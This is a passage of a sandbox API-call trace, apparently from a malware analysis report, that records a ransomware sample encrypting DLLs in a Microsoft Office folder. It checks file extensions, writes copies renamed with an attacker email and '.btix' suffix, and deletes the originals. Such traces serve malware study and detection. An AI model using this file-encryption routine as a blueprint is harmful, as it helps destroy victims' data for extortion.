[0160.332] lstrlenW (lpString=".bz2") returned 4 [0160.332] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.332] lstrlenW (lpString=".7z") returned 3 [0160.332] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.332] lstrlenW (lpString=".dbf") returned 4 [0160.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.332] lstrlenW (lpString=".1cd") returned 4 [0160.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0160.332] lstrlenW (lpString=".jpg") returned 4 [0160.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.332] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.332] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.333] GetLastError () returned 0x0 [0160.333] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x3b740, lpOverlapped=0x0) returned 1 [0160.340] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x3b750, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x3b750, lpOverlapped=0x0) returned 1 [0160.344] ReadFile (in: hFile=0x368, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.344] WriteFile (in: hFile=0x300, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0160.344] SetEndOfFile (hFile=0x300) returned 1 [0160.345] CloseHandle (hObject=0x300) returned 1 [0160.345] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.345] SetEndOfFile (hFile=0x368) returned 1 [0160.347] CloseHandle (hObject=0x368) returned 1 [0160.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 1 [0160.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.348] lstrlenW (lpString=".doc") returned 4 [0160.348] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.348] lstrlenW (lpString=".docx") returned 5 [0160.348] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.348] lstrlenW (lpString=".pdf") returned 4 [0160.348] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.348] lstrlenW (lpString=".xls") returned 4 [0160.348] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.348] lstrlenW (lpString=".xlsx") returned 5 [0160.348] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.348] lstrlenW (lpString=".ppt") returned 4 [0160.348] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.348] lstrlenW (lpString=".zip") returned 4 [0160.458] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.458] lstrlenW (lpString=".rar") returned 4 [0160.458] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.458] lstrlenW (lpString=".bz2") returned 4 [0160.458] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.458] lstrlenW (lpString=".7z") returned 3 [0160.458] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.458] lstrlenW (lpString=".dbf") returned 4 [0160.458] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.458] lstrlenW (lpString=".1cd") returned 4 [0160.458] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0160.458] lstrlenW (lpString=".jpg") returned 4 [0160.458] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.459] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.459] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.459] GetLastError () returned 0x0 [0160.459] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x11e60, lpOverlapped=0x0) returned 1 [0160.462] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x11e70, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x11e70, lpOverlapped=0x0) returned 1 [0160.464] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.464] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x112, lpOverlapped=0x0) returned 1 [0160.464] SetEndOfFile (hFile=0x350) returned 1 [0160.465] CloseHandle (hObject=0x350) returned 1 [0160.465] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.465] SetEndOfFile (hFile=0x300) returned 1 [0160.466] CloseHandle (hObject=0x300) returned 1 [0160.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 1 [0160.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.467] lstrlenW (lpString=".doc") returned 4 [0160.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString=".docx") returned 5 [0160.467] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0160.467] lstrlenW (lpString=".pdf") returned 4 [0160.467] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString=".xls") returned 4 [0160.467] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString=".xlsx") returned 5 [0160.467] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0160.467] lstrlenW (lpString=".ppt") returned 4 [0160.467] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.467] lstrlenW (lpString=".zip") returned 4 [0160.467] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString=".rar") returned 4 [0160.467] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.467] lstrlenW (lpString=".bz2") returned 4 [0160.467] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.467] lstrlenW (lpString=".7z") returned 3 [0160.467] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.467] lstrlenW (lpString=".dbf") returned 4 [0160.467] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.467] lstrlenW (lpString=".1cd") returned 4 [0160.467] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80 [0160.467] lstrlenW (lpString=".jpg") returned 4 [0160.467] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.468] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.468] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.469] GetLastError () returned 0x0 [0160.469] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x7a60, lpOverlapped=0x0) returned 1 [0160.470] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x7a70, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x7a70, lpOverlapped=0x0) returned 1 [0160.471] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.471] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x11e, lpOverlapped=0x0) returned 1 [0160.472] SetEndOfFile (hFile=0x350) returned 1 [0160.472] CloseHandle (hObject=0x350) returned 1 [0160.472] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.472] SetEndOfFile (hFile=0x300) returned 1 [0160.473] CloseHandle (hObject=0x300) returned 1 [0160.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 1 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.474] lstrlenW (lpString=".doc") returned 4 [0160.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString=".docx") returned 5 [0160.474] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0160.474] lstrlenW (lpString=".pdf") returned 4 [0160.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString=".xls") returned 4 [0160.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString=".xlsx") returned 5 [0160.474] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0160.474] lstrlenW (lpString=".ppt") returned 4 [0160.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.474] lstrlenW (lpString=".zip") returned 4 [0160.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString=".rar") returned 4 [0160.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.474] lstrlenW (lpString=".bz2") returned 4 [0160.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.474] lstrlenW (lpString=".7z") returned 3 [0160.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.474] lstrlenW (lpString=".dbf") returned 4 [0160.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.474] lstrlenW (lpString=".1cd") returned 4 [0160.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0160.474] lstrlenW (lpString=".jpg") returned 4 [0160.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.475] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.475] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.475] GetLastError () returned 0x0 [0160.475] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x206c0, lpOverlapped=0x0) returned 1 [0160.480] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x206d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x206d0, lpOverlapped=0x0) returned 1 [0160.482] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.482] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x122, lpOverlapped=0x0) returned 1 [0160.483] SetEndOfFile (hFile=0x350) returned 1 [0160.483] CloseHandle (hObject=0x350) returned 1 [0160.483] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.483] SetEndOfFile (hFile=0x300) returned 1 [0160.484] CloseHandle (hObject=0x300) returned 1 [0160.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 1 [0160.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.486] lstrlenW (lpString=".doc") returned 4 [0160.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString=".docx") returned 5 [0160.486] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0160.486] lstrlenW (lpString=".pdf") returned 4 [0160.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString=".xls") returned 4 [0160.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString=".xlsx") returned 5 [0160.486] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0160.486] lstrlenW (lpString=".ppt") returned 4 [0160.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.486] lstrlenW (lpString=".zip") returned 4 [0160.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString=".rar") returned 4 [0160.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.486] lstrlenW (lpString=".bz2") returned 4 [0160.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.486] lstrlenW (lpString=".7z") returned 3 [0160.486] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.486] lstrlenW (lpString=".dbf") returned 4 [0160.486] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.486] lstrlenW (lpString=".1cd") returned 4 [0160.486] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0160.487] lstrlenW (lpString=".jpg") returned 4 [0160.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.487] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.487] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.488] GetLastError () returned 0x0 [0160.488] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x6f2b0, lpOverlapped=0x0) returned 1 [0160.796] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x6f2c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x6f2c0, lpOverlapped=0x0) returned 1 [0160.804] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.804] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.804] SetEndOfFile (hFile=0x350) returned 1 [0160.804] CloseHandle (hObject=0x350) returned 1 [0160.804] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.804] SetEndOfFile (hFile=0x300) returned 1 [0160.807] CloseHandle (hObject=0x300) returned 1 [0160.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 1 [0160.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.808] lstrlenW (lpString=".doc") returned 4 [0160.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.808] lstrlenW (lpString=".docx") returned 5 [0160.808] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.808] lstrlenW (lpString=".pdf") returned 4 [0160.809] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.809] lstrlenW (lpString=".xls") returned 4 [0160.809] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.809] lstrlenW (lpString=".xlsx") returned 5 [0160.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.809] lstrlenW (lpString=".ppt") returned 4 [0160.809] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.809] lstrlenW (lpString=".zip") returned 4 [0160.809] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.809] lstrlenW (lpString=".rar") returned 4 [0160.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.809] lstrlenW (lpString=".bz2") returned 4 [0160.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.809] lstrlenW (lpString=".7z") returned 3 [0160.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.809] lstrlenW (lpString=".dbf") returned 4 [0160.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.809] lstrlenW (lpString=".1cd") returned 4 [0160.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0160.809] lstrlenW (lpString=".jpg") returned 4 [0160.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.810] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.810] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.810] GetLastError () returned 0x0 [0160.810] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x412b0, lpOverlapped=0x0) returned 1 [0160.818] WriteFile (in: hFile=0x350, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x412c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x412c0, lpOverlapped=0x0) returned 1 [0160.823] ReadFile (in: hFile=0x300, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, 